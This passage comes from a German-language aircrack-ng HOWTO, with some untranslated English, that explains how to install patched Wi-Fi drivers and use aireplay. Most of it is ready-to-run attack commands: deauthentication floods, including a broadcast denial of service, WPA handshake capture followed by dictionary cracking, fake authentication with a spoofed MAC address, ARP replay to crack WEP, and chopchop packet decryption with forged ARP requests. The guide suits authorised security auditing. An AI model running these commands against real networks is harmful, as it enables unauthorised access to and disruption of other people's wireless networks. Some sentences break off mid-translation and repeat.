    ifconfig wlan0 down
    wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
    /etc/init.d/pcmcia stop
    rmmod prism2_pci
    rmmod hostap_pci
    find /lib/modules \( -name p80211* -o -name prism2* \) \
        -exec rm -v {} \;
    
    cd /usr/src
    wget http://100h.org/wlan/linux/prism2/wlanng-0.2.1-pre26.tar.gz
    wget http://100h.org/wlan/linux/patches/wlanng-0.2.1-pre26.patch
    tar -xvzf wlanng-0.2.1-pre26.tar.gz
    cd wlanng-0.2.1-pre26
    patch -Np1 -i ../wlanng-0.2.1-pre26.patch
    make config && make all && make install
    mv /etc/pcmcia/hostap_cs.conf /etc/pcmcia/hostap_cs.conf~
    /etc/init.d/pcmcia start
    modprobe prism2_pci &>/dev/null

  • Installieren des r8180-sa2400 Treiber (RTL8180 Karten)

    ifconfig wlan0 down
    rmmod r8180
    
    cd /usr/src
    wget http://100h.org/wlan/linux/rtl8180/rtl8180-0.21.tar.gz
    wget http://100h.org/wlan/linux/patches/rtl8180-0.21.patch
    tar -xvzf rtl8180-0.21.tar.gz
    cd rtl8180-0.21
    patch -Np1 -i ../rtl8180-0.21.patch
    make && make install
    depmod -a
    modprobe r8180

  • Installieren des rt2500 Treibers (Ralink b/g PCI/PCMCIA)

    ifconfig ra0 down
    rmmod rt2500
    
    cd /usr/src
    wget http://100h.org/wlan/linux/ralink/rt2500-cvs-20051008.tgz
    wget http://100h.org/wlan/linux/patches/rt2500-cvs-20051008-prismheader.patch
    tar -xvzf rt2500-cvs-20051008.tgz
    cd rt2500-cvs-20051008
    patch -Np1 -i ../rt2500-cvs-20051008-prismheader.patch
    cd Module
    make && make install
    modprobe rt2500

    Lade den Treiber unbedingt mit modprobe(nicht insmod) starte die Karte im Monitor-mod bevor du das Interface startest.

  • Installation des rt2570 Treibers(Ralink b/g USB)

    ifconfig rausb0 down
    rmmod rt2570
    
    cd /usr/src
    wget http://100h.org/wlan/linux/ralink/rt2570-cvs-20051008.tgz
    wget http://100h.org/wlan/linux/patches/rt2570-cvs-20051008-prismheader.patch
    tar -xvzf rt2570-cvs-20051008.tgz
    cd rt2570-cvs-20051008
    patch -Np1 -i ../rt2570-cvs-20051008-prismheader.patch
    cd Module
    make && make install
    modprobe rt2570

Der Treiber lässt sich nicht kompilieren.

Das passiert normalerweise weil die linux-headers nicht zum benutzten kernel passen. Kompilieren in diesem Fall einfach den Kernel neu, install ihn und starte neu. Versuchs dann erneut den Treiber zu installieren.

Siehe hier HOWTO für mehr Infos über Kernel kompilieren.

Wie benutze ich aireplay ?

Wenn der Treiber richtig installiert wurde, kann aireplay raw 802.11 Packete im Monitor-mode injecten; Inmoment beinhaltet es 5 verschiedene Attacken.

Wenn du "ioctl(SIOCGIFINDEX) failed: No such device" bekommst, checke nocheinmal, ob dein Gerät richtig installiert ist und dass keine Parameter in der Kommandozeile vergessen hast.

Im folgenden Beispiel ist 00:13:10:30:24:9C die MAC-Addresse vom Access Point (auf channel 6), und 00:09:5B:EB:C5:2B ist die MAC-Addresse vom Client(wireless).

  • Attack 0: deauthentication

    Diese Attacke ist meistens hilfreich um eine versteckte ESSID(keine öffentliche) wiederherzustellen oder WPA handshakes zu fangen, wobei du den client zwingst, sich nochmal zu authentifizieren. Sie kann auch benutzt werden um ARP-Anfragen zu generieren, Windows flusht manchmal seinen ARP Cache wenn er disconnected. Natürlich ist diese Attacke total nutzlos wenn es keine associated wireless clients gibt.

    Es ist normalerweise effektiver eine spezielle Station mit dem -c Parameter anzugreifen.

    Einige Beispiele:

    • WPA Handshake Fang mit Atheros

      airmon.sh start ath0
      airodump ath0 out 6  (zu seiner anderen Konsole wechseln)
      aireplay -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0
      (Ein paar sekunden warten)
      
      aircrack -w /path/to/dictionary out.cap

    • ARP-Anfragen mit einer Prism2 Karte generieren

      airmon.sh start wlan0
      airodump wlan0 out 6  (zu einer anderen Konsole wechseln)
      aireplay -0 10 -a 00:13:10:30:24:9C wlan0
      aireplay -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
      

      After sending the five batches of deauthentication packets, we start listening for ARP requests with attack 3. The -h option is mandatory and has to be the MAC address of an associated client.

      Wenn der wlan-ng Treiber benutzt wird musst du das airmon.sh script ausführen; Andernfalls ist die Karte nicht korrekt für die injections konfiguriert.

    • Mass denial-of-service mit einer RT2500 card

      airmon.sh start ra0
      aireplay -0 0 -a 00:13:10:30:24:9C ra0

      Mit Parameter 0 wird diese Attacke sich immer wiederholen. Sie sendet Deauthentication-Pakete zu der Broadcastadresse, thus preventing clients from staying connected.

  • Attacke 1: fake authentication

    Diese Attacke ist nur nützlich, wenn du eine associated MAC-Adresse This attack is only useful when you need an associated MAC address in attacks 2, 3, 4 (-h option) and there is currently no associated client. However it is genereally better to use the MAC address of a real client (like here, 00:09:5B:EB:C5:2B) in attacks 2, 3 and 4. The fake auth attack does NOT generate ARP requests.

    Also, subsequent attacks will likely perform better if you update the MAC address of the card, so that it properly sends ACKs:

    ifconfig ath0 down
    ifconfig ath0 hw ether 00:11:22:33:44:55
    ifconfig ath0 up
    
    aireplay -1 0 -e "the ssid" -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
    12:14:06  Sending Authentication Request
    12:14:06  Authentication successful
    12:14:06  Sending Association Request
    12:14:07  Association successful :-)

    With patched madwifi CVS 2005-08-14, it's possible to inject packets while in Managed mode (the WEP key itself doesn't matter, as long as the AP accepts Open-System authentication). So, instead of running attack 1, you may just associate and inject / monitor through the athXraw interface:

    ifconfig ath0 down hw ether 00:11:22:33:44:55
    iwconfig ath0 mode Managed essid "the ssid" key AAAAAAAAAA
    ifconfig ath0 up
    
    sysctl -w dev.ath0.rawdev=1
    ifconfig ath0raw up
    airodump ath0raw out 6

    Dann kannst du Attacke 3 oder 4 starten(aireplay wird automatisch ath0 mit ath0raw unten ersetzen):

    aireplay -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0
    aireplay -4 -h 00:10:20:30:40:50 -f 1 ath0

    Einige Access-Points benötigen alle 30 Sekunden eine Wiederverbindung, sonst betrachtet sich unser fake-Client als disconnected. Wenn dem so ist, lass ihn automatisch wieder verbinden:

    aireplay -1 30 -e "the ssid" -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0

    Wenn diese Attacke zu missglücken scheint(airplay sendet weiterhin authentication Anfragen), kann es sein, dass hier die MAC-Adressen gefiltert werden. Vergewisser dich ausserdem, dass

    • Du nah genug am Access Point dran bist
    • Der Treiber ordentlich gepatcht und installiert ist
    • Die Karte auf dem selben Channel konfiguriert ist wie der AP
    • BSSID und ESSID (-a / -e options) korrekt sind
    • Wenn du Prism2 verwendest, vergewisser dich, dass die firmware geupdated wurde.

    Zur Erinnerung: du kannst aufgrund der firmware und/oder Treibereinschränkungen nicht mit Centrino, Hermes, ACX1xx, Aironet, ZyDAL, Marvell oder Broadcom chipsets injecten.

  • Attacke 2: interactive packet replay

    Dieser Angriff erlaubt dir, dir ein empfangenes Paket für's replaying auszusuchen; manchmal erzielt man damit bessere Effekte als mit Attacke 3(automatische ARP-Injection).

    Du kannst es z.B. für zum Versuchen der "any data re-broadcast"-Attacke benutzen, welche nur funktioniert wenn der AP tatsächlich die WEP Daten Pakete neu verschlüsselt.:

    aireplay -2 -b 00:13:10:30:24:9C -n 100 -p 0841 \
        -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0

    Du kannst auch Attacke 2 benutzen, um manuell WEP-verschlüsselte ARP zu replayen. Die Grösse variiert zwischen 68 oder 86 bytes, abhängig vom Betriebsystem:

    aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
        -m 68 -n 68 -p 0841 -h 00:09:5B:EB:C5:2B ath0
    
    aireplay -2 -b 00:13:10:30:24:9C -d FF:FF:FF:FF:FF:FF \
        -m 86 -n 86 -p 0841 -h 00:09:5B:EB:C5:2B ath0

  • Attacke 3: ARP-request reinjection

    Die klassische ARP-Anfrage replay Attacke ist die Effektivste um neue IVs zu generieren und funktioniert zuverlässig. Du brauchst entweder die MAC Adresse oder einen assoziierten Client(00:09:5B:EB:C5:2B) einer gefälschten MAC von Attacke 1 (00:11:22:33:44:55). Vielleicht musst du mal ein paar Minuten oder auch mal etwas länger warten, bis eine ARP Anfrage auftaucht. Diese Attacke wird fehlschlagen, wenn kein Verkehr stattfindet.

    Bitte beachte, dass du alte ARP-Anfragen von einem vorherigem Capture mit -r wieder benutzen kannst.

    aireplay -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
    Saving ARP requests in replay_arp-0627-121526.cap
    You must also start airodump to capture replies.
    Read 2493 packets (got 1 ARP requests), sent 1305 packets...

  • Attacke 4: KoreK's "chopchop" (CRC prediction)

    Diese Attacke, wenn sie funktioniert, kann ein WEP-Datenpaket entschlüsseln ohne den Schlüssel zu kennen. Es funktioniert sogar beim dynamischen WEP. Diese Attacke stellt nicht den WEP-Schlüssel an sich wieder her, sondern deckt lediglich den Plaintext auf. Wie auch immer, die meisten Access Points, sind überhaupt nicht anfällig für irgendwelche Attacken. Manche mögen erst so aussehen, aber verlieren schon Datenpakete die kleiner als 60 bytes sind. Diese Attacke benötigt zumindest ein WEP Datenpaket.

    1. Als erstes entschlüsseln wir ein Paket:

      aireplay -4 -h 00:09:5B:EB:C5:2B ath0

    2. Lass und die IP-Adresse angucken :

      tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap
      reading from file replay_dec-0627-022301.cap, link-type [...]
      IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1

    3. Dann, fäsche eine ARP Anfrage

      Die Quell-IP (192.168.1.100) ist egal, aber die Ziel-IP (192.168.1.2) muss den ARP Anfragen antworten. Die Quell-MAC muss zu einer assoziierten Station gehören.

      ./arpforge replay_dec-0627-022301.xor 1 00:13:10:30:24:9C \
      00:09:5B:EB:C5:2B 192.168.1.100 192.168.1.2 arp.cap

    4. Replay der gefälschten ARP Anfrage :

      aireplay -2 -r arp.cap ath0

Schlussendlich, möchte ich den vielen, vielen Leuten danken die an aircrack mitarbeiten... you know who you are :-)